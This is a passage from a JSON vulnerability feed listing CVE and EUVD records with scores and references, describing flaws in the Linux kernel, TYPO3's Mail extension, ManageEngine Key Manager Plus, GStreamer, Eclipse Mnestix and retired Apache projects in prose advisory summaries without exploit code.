before the store is visible as well. So the entry remains queued\nwith worker_refs and the exiting task waits on worker_done indefinitely.\n\nIf the task still has rings then io_uring_del_tctx_node() provides the\nbarrier via test_and_set_bit() in io_wq_set_exit_on_idle(). When it\nhas closed all rings though that barrier is gone.\n\nAdd the barrier after the set_bit().","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/0d81cdd433b0a96c5275c01b8172e0b1f71dd595","https://git.kernel.org/stable/c/0e5663856b69219ef2f02e04bac9f5c5be19718a","https://git.kernel.org/stable/c/1432d881d99584105122760133caeff1dce7a9f7","https://git.kernel.org/stable/c/31fc780b75b278d37700373d54a99fdb4117fdd6","https://git.kernel.org/stable/c/67da3eec264aeb67835886720243ae2dc1463315","https://git.kernel.org/stable/c/6cf012a4d5e461c788ecc9dbed67adc31a142644","https://git.kernel.org/stable/c/75395db7a9b40a2e826c838e648fef8ed1a2d174","https://git.kernel.org/stable/c/a63c752157eacf49f628359822666b32503d194a"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:30","euvd":{"id":"EUVD-2026-115773","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nio-wq: order the exit bit against worker creation task work\n\nio_wq_exit_workers() cancels task work for queued worker creation with\ntask_work_cancel_match(). That has a plain load of task->task_works.\n\nio_queue_worker_create() adds the new entry and tests IO_WQ_BIT_EXIT to\ncancel it if the workqueue is already on its way out.\n\nThat must be ordered. task_work_add() has a full barrier via cmpxchg().\nBut io_wq_exit_start() sets the bit with set_bit() which doesn't have\nany memory ordering.\n\nSo afaict, on weakly ordered architectures the exiting task may load\ntask_works before the store of the bit is visible. The other side tests\nthe bit before the store is visible as well. So the entry remains queued\nwith worker_refs and the exiting task waits on worker_done indefinitely.\n\nIf the task still has rings then io_uring_del_tctx_node() provides the\nbarrier via test_and_set_bit() in io_wq_set_exit_on_idle(). When it\nhas closed all rings though that barrier is gone.\n\nAdd the barrier after the set_bit().","published_time":"2026-11-03T11:14:30","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/67da3eec264aeb67835886720243ae2dc1463315","https://git.kernel.org/stable/c/a63c752157eacf49f628359822666b32503d194a","https://git.kernel.org/stable/c/1432d881d99584105122760133caeff1dce7a9f7","https://git.kernel.org/stable/c/6cf012a4d5e461c788ecc9dbed67adc31a142644","https://git.kernel.org/stable/c/0d81cdd433b0a96c5275c01b8172e0b1f71dd595","https://git.kernel.org/stable/c/75395db7a9b40a2e826c838e648fef8ed1a2d174","https://git.kernel.org/stable/c/31fc780b75b278d37700373d54a99fdb4117fdd6","https://git.kernel.org/stable/c/0e5663856b69219ef2f02e04bac9f5c5be19718a"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99244","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\npid_namespace: prevent TIF_NOTIFY_SIGNAL from interrupting the reaper\n\nSince commit 7fea700e04bd (\"zap_pid_ns_processes: clear\nTIF_NOTIFY_SIGNAL along with TIF_SIGPENDING\") zap_pid_ns_processes()\nclears TIF_NOTIFY_SIGNAL before every kernel_wait4() call. Otherwise\nkernel_wait4() doesn't sleep and returns -ERESTARTSYS if\nsignal_pending() is true and the reaper busy-waits.\n\nBut clearing TIF_NOTIFY_SIGNAL doesn't fix it. It can get raised again.\nFor example, klp_send_signals() sets it raw against any task that hasn't\ntransitioned yet. And it keeps sending it until the livepatch finishes.\n\nThe sleep loop waiting for pid_allocated to drop has the same problem\nand it doesn't even clear anything. So a schedule() in\nTASK_INTERRUPTIBLE returns immediately.\n\nUse a no_notify_signal guard. signal_pending() will ignore\nTIF_NOTIFY_SIGNAL and the pid namespace reaper sleeps until a child\nexits or free_pid() wakes it.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/2c20ace1698d03a23467351be1d281e89b36ade3","https://git.kernel.org/stable/c/30b274508c743f243c82904954c4e416d7143d4c","https://git.kernel.org/stable/c/3d15ac36ce174477efa5365e424dbd47950fd2b9","https://git.kernel.org/stable/c/5c0985dd3c32fc2bbd0e8beaf13cf52cd97376a2","https://git.kernel.org/stable/c/70178691c467c8f9f722765299fd8524c3121a35","https://git.kernel.org/stable/c/9ab0324f4868eeb20c63f063a1e5bc01d5539212","https://git.kernel.org/stable/c/f46cd8241d9b83f2279cc0db3e9d3e181b548a59"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:30","euvd":{"id":"EUVD-2026-115774","description":"In the Linux kernel, the following vulnerability has been resolved:\n\npid_namespace: prevent TIF_NOTIFY_SIGNAL from interrupting the reaper\n\nSince commit 7fea700e04bd (\"zap_pid_ns_processes: clear\nTIF_NOTIFY_SIGNAL along with TIF_SIGPENDING\") zap_pid_ns_processes()\nclears TIF_NOTIFY_SIGNAL before every kernel_wait4() call. Otherwise\nkernel_wait4() doesn't sleep and returns -ERESTARTSYS if\nsignal_pending() is true and the reaper busy-waits.\n\nBut clearing TIF_NOTIFY_SIGNAL doesn't fix it. It can get raised again.\nFor example, klp_send_signals() sets it raw against any task that hasn't\ntransitioned yet. And it keeps sending it until the livepatch finishes.\n\nThe sleep loop waiting for pid_allocated to drop has the same problem\nand it doesn't even clear anything. So a schedule() in\nTASK_INTERRUPTIBLE returns immediately.\n\nUse a no_notify_signal guard. signal_pending() will ignore\nTIF_NOTIFY_SIGNAL and the pid namespace reaper sleeps until a child\nexits or free_pid() wakes it.","published_time":"2026-11-03T11:15:14","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/2c20ace1698d03a23467351be1d281e89b36ade3","https://git.kernel.org/stable/c/9ab0324f4868eeb20c63f063a1e5bc01d5539212","https://git.kernel.org/stable/c/30b274508c743f243c82904954c4e416d7143d4c","https://git.kernel.org/stable/c/70178691c467c8f9f722765299fd8524c3121a35","https://git.kernel.org/stable/c/3d15ac36ce174477efa5365e424dbd47950fd2b9","https://git.kernel.org/stable/c/f46cd8241d9b83f2279cc0db3e9d3e181b548a59","https://git.kernel.org/stable/c/5c0985dd3c32fc2bbd0e8beaf13cf52cd97376a2"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-99245","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nKEYS: Fix key_reject_and_link() race with keyring restriction\n\nThe restrict_link check in key_reject_and_link() is done before taking\nthe keyring semaphore, racing with a concurrent keyring_restrict()\nthat installs the restriction while holding the semaphore in write\nmode.\n\nMove the check to after __key_link_lock(), so it is done under the\nsemaphore, matching the pattern used in __key_create_or_update().","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://git.kernel.org/stable/c/01835d3a3709be508ae5209f806640336c48e395","https://git.kernel.org/stable/c/0b157166e612b70f98a332b6c7be7eac6f8e9593","https://git.kernel.org/stable/c/19dfc37c9deefa69dc805d01d35d1f2fd7902e33","https://git.kernel.org/stable/c/23a9163cc40b4996ba1e20533b1210a1a0bee416","https://git.kernel.org/stable/c/2c3d907dd15f4e30d4c35b9f7a7a5078de6a1b1f","https://git.kernel.org/stable/c/5787887eba0f0979a8c86d03a8e891395d5c24ad","https://git.kernel.org/stable/c/6fc0c818b1cac66003e937c8a0d3bfb23fd3f130","https://git.kernel.org/stable/c/72f367417a6aee56821d0b0114cfd2b080008b63","https://git.kernel.org/stable/c/c7956ec99ad0e173720d95de9fa788bb077809f2"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T12:17:30","euvd":{"id":"EUVD-2026-115775","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nKEYS: Fix key_reject_and_link() race with keyring restriction\n\nThe restrict_link check in key_reject_and_link() is done before taking\nthe keyring semaphore, racing with a concurrent keyring_restrict()\nthat installs the restriction while holding the semaphore in write\nmode.\n\nMove the check to after __key_link_lock(), so it is done under the\nsemaphore, matching the pattern used in __key_create_or_update().","published_time":"2026-11-03T11:15:15","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Linux","references":["https://git.kernel.org/stable/c/c7956ec99ad0e173720d95de9fa788bb077809f2","https://git.kernel.org/stable/c/2c3d907dd15f4e30d4c35b9f7a7a5078de6a1b1f","https://git.kernel.org/stable/c/72f367417a6aee56821d0b0114cfd2b080008b63","https://git.kernel.org/stable/c/19dfc37c9deefa69dc805d01d35d1f2fd7902e33","https://git.kernel.org/stable/c/5787887eba0f0979a8c86d03a8e891395d5c24ad","https://git.kernel.org/stable/c/01835d3a3709be508ae5209f806640336c48e395","https://git.kernel.org/stable/c/6fc0c818b1cac66003e937c8a0d3bfb23fd3f130","https://git.kernel.org/stable/c/23a9163cc40b4996ba1e20533b1210a1a0bee416","https://git.kernel.org/stable/c/0b157166e612b70f98a332b6c7be7eac6f8e9593"],"products":["Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux","Linux"],"vendors":["Linux"]},"ghsa":null},{"cve_id":"CVE-2026-114442","summary":"Apache HertzBeat versions 1.7.1, 1.7.2, 1.7.3, 1.8.0, and 1.9.0 have incomplete XPath expression validation in the HTTP collector XML parsing path. An authenticated user with permission to create monitor templates can supply XPath expressions through metrics.aliasFields that are evaluated without the validation applied to parseScript. When processing a crafted XML response, repeated evaluation may consume excessive CPU resources and impair collector availability. This is a follow-up to the incomplete fix for CVE-2026-24343. The fix is included in Apache HertzBeat 1.9.1. Users should upgrade to 1.9.1 or a later version.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/apache/hertzbeat/pull/4481","https://lists.apache.org/thread.html/5hmlvklmmw0hl9rb629hr6vxvq3pmspf"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T11:16:52","euvd":{"id":"EUVD-2026-115743","description":"Apache HertzBeat versions 1.7.1, 1.7.2, 1.7.3, 1.8.0, and 1.9.0 have incomplete XPath expression validation in the HTTP collector XML parsing path. An authenticated user with permission to create monitor templates can supply XPath expressions through metrics.aliasFields that are evaluated without the validation applied to parseScript. When processing a crafted XML response, repeated evaluation may consume excessive CPU resources and impair collector availability. This is a follow-up to the incomplete fix for CVE-2026-24343. The fix is included in Apache HertzBeat 1.9.1. Users should upgrade to 1.9.1 or a later version.","published_time":"2026-11-03T10:21:06","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"apache","references":["https://github.com/apache/hertzbeat/pull/4481","https://lists.apache.org/thread.html/5hmlvklmmw0hl9rb629hr6vxvq3pmspf"],"products":["Apache HertzBeat","Apache HertzBeat","Apache HertzBeat","Apache HertzBeat","Apache HertzBeat"],"vendors":["Apache Software Foundation"]},"ghsa":null},{"cve_id":"CVE-2026-89292","summary":"In Eclipse Mnestix Browser versions 1.6.0 up until but excluding 2.3.0 it was possible for an unauthenticated attacker to exfiltrate the MNESTIX_BACKEND_API_KEY for all configured Infrastructures.","cvss":9.2,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":9.2,"epss":0.00453,"ranking_epss":0.39387,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gitlab.eclipse.org/security/cve-assignment/-/work_items/302","https://gitlab.eclipse.org/security/vulnerability-reports/-/work_items/773"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T10:17:20","euvd":{"id":"EUVD-2026-115727","description":"In Eclipse Mnestix Browser versions 1.6.0 up until but excluding 2.3.0 it was possible for an unauthenticated attacker to exfiltrate the MNESTIX_BACKEND_API_KEY for all configured Infrastructures.","published_time":"2026-11-03T09:31:27","cvss":9.2,"cvss_version":"4.0","epss":0.0,"assigner":"eclipse","references":["https://gitlab.eclipse.org/security/vulnerability-reports/-/work_items/773","https://gitlab.eclipse.org/security/cve-assignment/-/work_items/302"],"products":["Eclipse Mnestix"],"vendors":["Eclipse Foundation"]},"ghsa":null},{"cve_id":"CVE-2026-89293","summary":"In Eclipse Mnestix Browser versions 1.2.0 up until but excluding 2.3.0 it was possible for an unauthenticated attacker to perform actions that are only allowed to be executed by an authorized Mnestix user, like changing the Infrastructure settings or calling the connected and authenticated Mnestix AAS Generator backend.","cvss":8.8,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":8.8,"epss":0.00473,"ranking_epss":0.40953,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://gitlab.eclipse.org/security/cve-assignment/-/work_items/301","https://gitlab.eclipse.org/security/vulnerability-reports/-/work_items/772"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T10:17:20","euvd":{"id":"EUVD-2026-115729","description":"In Eclipse Mnestix Browser versions 1.2.0 up until but excluding 2.3.0 it was possible for an unauthenticated attacker to perform actions that are only allowed to be executed by an authorized Mnestix user, like changing the Infrastructure settings or calling the connected and authenticated Mnestix AAS Generator backend.","published_time":"2026-11-03T09:38:23","cvss":8.8,"cvss_version":"4.0","epss":0.0,"assigner":"eclipse","references":["https://gitlab.eclipse.org/security/vulnerability-reports/-/work_items/772","https://gitlab.eclipse.org/security/cve-assignment/-/work_items/301"],"products":["Eclipse Mnestix"],"vendors":["Eclipse Foundation"]},"ghsa":null},{"cve_id":"CVE-2026-77777","summary":"ManageEngine Key Manager Plus versions before 7151 are vulnerable to an improper access control issue that allow authenticated users to modify another user's ACME certificate deployment credentials.","cvss":7.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.1,"cvss_v4":null,"epss":0.00749,"ranking_epss":0.5496,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.manageengine.com/key-manager/advisory/cve-2026-77777.html"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T10:17:19","euvd":{"id":"EUVD-2026-115728","description":"ManageEngine Key Manager Plus versions before 7151 are vulnerable to an improper access control issue that allow authenticated users to modify another user's ACME certificate deployment credentials.","published_time":"2026-11-03T09:36:50","cvss":7.1,"cvss_version":"3.1","epss":0.0,"assigner":"Zohocorp","references":["https://www.manageengine.com/key-manager/advisory/cve-2026-77777.html"],"products":["ManageEngine Key Manager Plus"],"vendors":["Zohocorp"]},"ghsa":null},{"cve_id":"CVE-2026-77778","summary":"ZohoCorp ManageEngine Key Manager Plus versions up to 7150 allow authenticated users to export certificates belonging to other users to their own registered key vaults.","cvss":7.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.1,"cvss_v4":null,"epss":0.00765,"ranking_epss":0.55479,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.manageengine.com/key-manager/advisory/cve-2026-77778.html"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T10:17:19","euvd":{"id":"EUVD-2026-115732","description":"ZohoCorp ManageEngine Key Manager Plus versions up to 7150 allow authenticated users to export certificates belonging to other users to their own registered key vaults.","published_time":"2026-11-03T09:42:23","cvss":7.1,"cvss_version":"3.1","epss":0.0,"assigner":"Zohocorp","references":["https://www.manageengine.com/key-manager/advisory/cve-2026-77778.html"],"products":["ManageEngine Key Manager Plus"],"vendors":["Zohocorp"]},"ghsa":null},{"cve_id":"CVE-2026-89229","summary":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in the ShareActivity component of BlueLM Copilot (com.vivo.ai.copilot) allows a malicious application installed on the same device to write arbitrary files via a crafted ACTION_SEND intent with a ContentProvider-supplied file name containing '..' sequences.","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.1,"epss":0.00192,"ranking_epss":0.08928,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.vivo.com/en/support/security-advisory-detail?id=26"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T10:17:19","euvd":{"id":"EUVD-2026-115734","description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in the ShareActivity component of BlueLM Copilot (com.vivo.ai.copilot) allows a malicious application installed on the same device to write arbitrary files via a crafted ACTION_SEND intent with a ContentProvider-supplied file name containing '..' sequences.","published_time":"2026-11-03T09:46:55","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"Vivo","references":["https://www.vivo.com/en/support/security-advisory-detail?id=26"],"products":["BlueLM Copilot"],"vendors":["vivo"]},"ghsa":null},{"cve_id":"CVE-2026-120332","summary":"The HTML content of mails and tracked URLs are rendered unescaped in the backend module. Backend users with access to the mail module can inject arbitrary HTML and JavaScript, which is executed in the context of other backend users viewing the mail preview or report.","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.1,"epss":0.00396,"ranking_epss":0.33888,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://typo3.org/security/advisory/typo3-ext-sa-2026-037"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T10:17:18","euvd":{"id":"EUVD-2026-115737","description":"The HTML content of mails and tracked URLs are rendered unescaped in the backend module. Backend users with access to the mail module can inject arbitrary HTML and JavaScript, which is executed in the context of other backend users viewing the mail preview or report.","published_time":"2026-11-03T09:56:04","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"TYPO3","references":["https://typo3.org/security/advisory/typo3-ext-sa-2026-037"],"products":["Extension \"Mail\"","Extension \"Mail\""],"vendors":["TYPO3"]},"ghsa":null},{"cve_id":"CVE-2026-120333","summary":"The actions linked in the emails of the extension (e.g. to confirm a registration or the deletion of an account) do not reject requests with a missing or invalid hash. Instead, the frontend user given in the request is used. Unauthenticated attackers can therefore perform these actions for arbitrary active frontend users. This allows them to retrieve the email address or username of all frontend users and to delete arbitrary frontend user accounts.","cvss":8.8,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":8.8,"epss":0.00419,"ranking_epss":0.36242,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://typo3.org/security/advisory/typo3-ext-sa-2026-038"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T10:17:18","euvd":{"id":"EUVD-2026-115736","description":"The actions linked in the emails of the extension (e.g. to confirm a registration or the deletion of an account) do not reject requests with a missing or invalid hash. Instead, the frontend user given in the request is used. Unauthenticated attackers can therefore perform these actions for arbitrary active frontend users. This allows them to retrieve the email address or username of all frontend users and to delete arbitrary frontend user accounts.","published_time":"2026-11-03T09:56:03","cvss":8.8,"cvss_version":"4.0","epss":0.0,"assigner":"TYPO3","references":["https://typo3.org/security/advisory/typo3-ext-sa-2026-038"],"products":["Extension \"Frontend User Registration\"","Extension \"Frontend User Registration\""],"vendors":["TYPO3"]},"ghsa":null},{"cve_id":"CVE-2026-77691","summary":"ZohoCorp ManageEngine Key Manager Plus versions before 7151 allow authenticated users to enter malicious input when configuring a Microsoft CA","cvss":8.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.1,"cvss_v4":null,"epss":0.0225,"ranking_epss":0.82921,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.manageengine.com/key-manager/advisory/cve-2026-77691.html"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T10:17:18","euvd":{"id":"EUVD-2026-115735","description":"ZohoCorp ManageEngine Key Manager Plus versions before 7151 allow authenticated users to enter malicious input when configuring a Microsoft CA","published_time":"2026-11-03T09:50:31","cvss":8.1,"cvss_version":"3.1","epss":0.0,"assigner":"Zohocorp","references":["https://www.manageengine.com/key-manager/advisory/cve-2026-77691.html"],"products":["ManageEngine Key Manager Plus"],"vendors":["Zohocorp"]},"ghsa":null},{"cve_id":"CVE-2026-120327","summary":"The click tracking middleware accepts an arbitrary target URL and redirects to it. Attackers can misuse links to the website to redirect users to external sites.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.3,"epss":0.00441,"ranking_epss":0.38386,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://typo3.org/security/advisory/typo3-ext-sa-2026-037"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T10:17:17","euvd":{"id":"EUVD-2026-115742","description":"The click tracking middleware accepts an arbitrary target URL and redirects to it. Attackers can misuse links to the website to redirect users to external sites.","published_time":"2026-11-03T09:56:07","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"TYPO3","references":["https://typo3.org/security/advisory/typo3-ext-sa-2026-037"],"products":["Extension \"Mail\"","Extension \"Mail\""],"vendors":["TYPO3"]},"ghsa":null},{"cve_id":"CVE-2026-120328","summary":"The click tracking middleware does not validate the authentication code of a recipient if the code is omitted. Unauthenticated attackers can retrieve personal data of newsletter recipients, which is inserted into links of sent mails.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":6.9,"epss":0.00561,"ranking_epss":0.46697,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://typo3.org/security/advisory/typo3-ext-sa-2026-037"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T10:17:17","euvd":{"id":"EUVD-2026-115741","description":"The click tracking middleware does not validate the authentication code of a recipient if the code is omitted. Unauthenticated attackers can retrieve personal data of newsletter recipients, which is inserted into links of sent mails.","published_time":"2026-11-03T09:56:07","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"TYPO3","references":["https://typo3.org/security/advisory/typo3-ext-sa-2026-037"],"products":["Extension \"Mail\"","Extension \"Mail\""],"vendors":["TYPO3"]},"ghsa":null},{"cve_id":"CVE-2026-120329","summary":"Saving the configuration of the mail backend module writes submitted settings to the page TSconfig without restricting them to the configuration options of the module. Backend users with access to the mail module can write arbitrary page TSconfig.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.3,"epss":0.00396,"ranking_epss":0.3389,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://typo3.org/security/advisory/typo3-ext-sa-2026-037"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T10:17:17","euvd":{"id":"EUVD-2026-115740","description":"Saving the configuration of the mail backend module writes submitted settings to the page TSconfig without restricting them to the configuration options of the module. Backend users with access to the mail module can write arbitrary page TSconfig.","published_time":"2026-11-03T09:56:06","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"TYPO3","references":["https://typo3.org/security/advisory/typo3-ext-sa-2026-037"],"products":["Extension \"Mail\"","Extension \"Mail\""],"vendors":["TYPO3"]},"ghsa":null},{"cve_id":"CVE-2026-120330","summary":"Backend actions and ajax routes of the mail module do not check whether the backend user has access to the page of the requested mail or recipient group. Backend users with access to the mail module can view, change, send and export mails and recipient groups outside their web mounts, including the personal data of recipients.","cvss":7.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":7.1,"epss":0.00381,"ranking_epss":0.32188,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://typo3.org/security/advisory/typo3-ext-sa-2026-037"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T10:17:17","euvd":{"id":"EUVD-2026-115739","description":"Backend actions and ajax routes of the mail module do not check whether the backend user has access to the page of the requested mail or recipient group. Backend users with access to the mail module can view, change, send and export mails and recipient groups outside their web mounts, including the personal data of recipients.","published_time":"2026-11-03T09:56:05","cvss":7.1,"cvss_version":"4.0","epss":0.0,"assigner":"TYPO3","references":["https://typo3.org/security/advisory/typo3-ext-sa-2026-037"],"products":["Extension \"Mail\"","Extension \"Mail\""],"vendors":["TYPO3"]},"ghsa":null},{"cve_id":"CVE-2026-120331","summary":"Content of external URL mails, their stylesheets and images to embed is fetched by the server without validating the target host. Backend users with access to the mail module can make the server send requests to hosts in the internal network.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.3,"epss":0.00351,"ranking_epss":0.28767,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://typo3.org/security/advisory/typo3-ext-sa-2026-037"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T10:17:17","euvd":{"id":"EUVD-2026-115738","description":"Content of external URL mails, their stylesheets and images to embed is fetched by the server without validating the target host. Backend users with access to the mail module can make the server send requests to hosts in the internal network.","published_time":"2026-11-03T09:56:05","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"TYPO3","references":["https://typo3.org/security/advisory/typo3-ext-sa-2026-037"],"products":["Extension \"Mail\"","Extension \"Mail\""],"vendors":["TYPO3"]},"ghsa":null},{"cve_id":"CVE-2026-119843","summary":"A flaw was found in GStreamer's gst-plugins-good package. The FLV media demuxer does not properly validate buffer sizes and data availability when processing enhanced audio and video tags in malformed or truncated FLV streams. A remote attacker could exploit this vulnerability by providing a specially crafted FLV media file that, when opened or streamed by a GStreamer-based application, triggers an assertion failure or a process crash, leading to denial of service.","cvss":6.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":null,"epss":0.00563,"ranking_epss":0.46861,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://access.redhat.com/security/cve/CVE-2026-119843","https://bugzilla.redhat.com/show_bug.cgi?id=2564182","https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/11244.patch","https://gstreamer.freedesktop.org/security/sa-2026-0020.html"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T10:17:16","euvd":{"id":"EUVD-2026-115733","description":"A flaw was found in GStreamer's gst-plugins-good package. The FLV media demuxer does not properly validate buffer sizes and data availability when processing enhanced audio and video tags in malformed or truncated FLV streams. A remote attacker could exploit this vulnerability by providing a specially crafted FLV media file that, when opened or streamed by a GStreamer-based application, triggers an assertion failure or a process crash, leading to denial of service.","published_time":"2026-11-03T09:45:25","cvss":6.5,"cvss_version":"3.1","epss":0.0,"assigner":"redhat","references":["https://access.redhat.com/security/cve/CVE-2026-119843","https://bugzilla.redhat.com/show_bug.cgi?id=2564182","https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/11244.patch","https://gstreamer.freedesktop.org/security/sa-2026-0020.html"],"products":["gst-plugins-good"],"vendors":["GStreamer project"]},"ghsa":null},{"cve_id":"CVE-2026-119724","summary":"** UNSUPPORTED WHEN ASSIGNED ** Improper restriction of recursive entity references in DTDs ('XML entity expansion') vulnerability in Apache JClouds.\n\n\n\nThis issue affects Apache JClouds: all versions.\n\n\n\nAs this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative or restrict access to the instance to trusted users.\n\n\n\nNOTE: This vulnerability only affects products that are no longer supported by the maintainer.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.002,"ranking_epss":0.09858,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://lists.apache.org/thread.html/xjzhbdcy6vktgdt3svs3yqv15wvzf4rp","http://www.openwall.com/lists/oss-security/2026/11/02/3"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T10:17:15","euvd":{"id":"EUVD-2026-115730","description":"** UNSUPPORTED WHEN ASSIGNED ** Improper restriction of recursive entity references in DTDs ('XML entity expansion') vulnerability in Apache JClouds.\n\n\n\nThis issue affects Apache JClouds: all versions.\n\n\n\nAs this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative or restrict access to the instance to trusted users.\n\n\n\nNOTE: This vulnerability only affects products that are no longer supported by the maintainer.","published_time":"2026-11-03T09:38:49","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"apache","references":["https://lists.apache.org/thread.html/xjzhbdcy6vktgdt3svs3yqv15wvzf4rp"],"products":["Apache jclouds"],"vendors":["Apache Software Foundation"]},"ghsa":null},{"cve_id":"CVE-2026-119641","summary":"** UNSUPPORTED WHEN ASSIGNED ** Improper input validation vulnerability in Apache Oozie. An authenticated Oozie user can reconfigure another tenant's\nworkflow job and change its ownership.\n\n\n\nThis issue affects Apache Oozie: all versions.\n\n\n\nAs this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative or restrict access to the instance to trusted users.\n\n\n\nNOTE: This vulnerability only affects products that are no longer supported by the maintainer.","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":0.002,"ranking_epss":0.09859,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://lists.apache.org/thread.html/b0vh3rxt3dbdvyz44210q2sz3201213p","http://www.openwall.com/lists/oss-security/2026/11/02/4"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T10:17:14","euvd":{"id":"EUVD-2026-115731","description":"** UNSUPPORTED WHEN ASSIGNED ** Improper input validation vulnerability in Apache Oozie. An authenticated Oozie user can reconfigure another tenant's\nworkflow job and change its ownership.\n\n\n\nThis issue affects Apache Oozie: all versions.\n\n\n\nAs this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative or restrict access to the instance to trusted users.\n\n\n\nNOTE: This vulnerability only affects products that are no longer supported by the maintainer.","published_time":"2026-11-03T09:41:17","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"apache","references":["https://lists.apache.org/thread.html/b0vh3rxt3dbdvyz44210q2sz3201213p"],"products":["Apache Oozie"],"vendors":["Apache Software 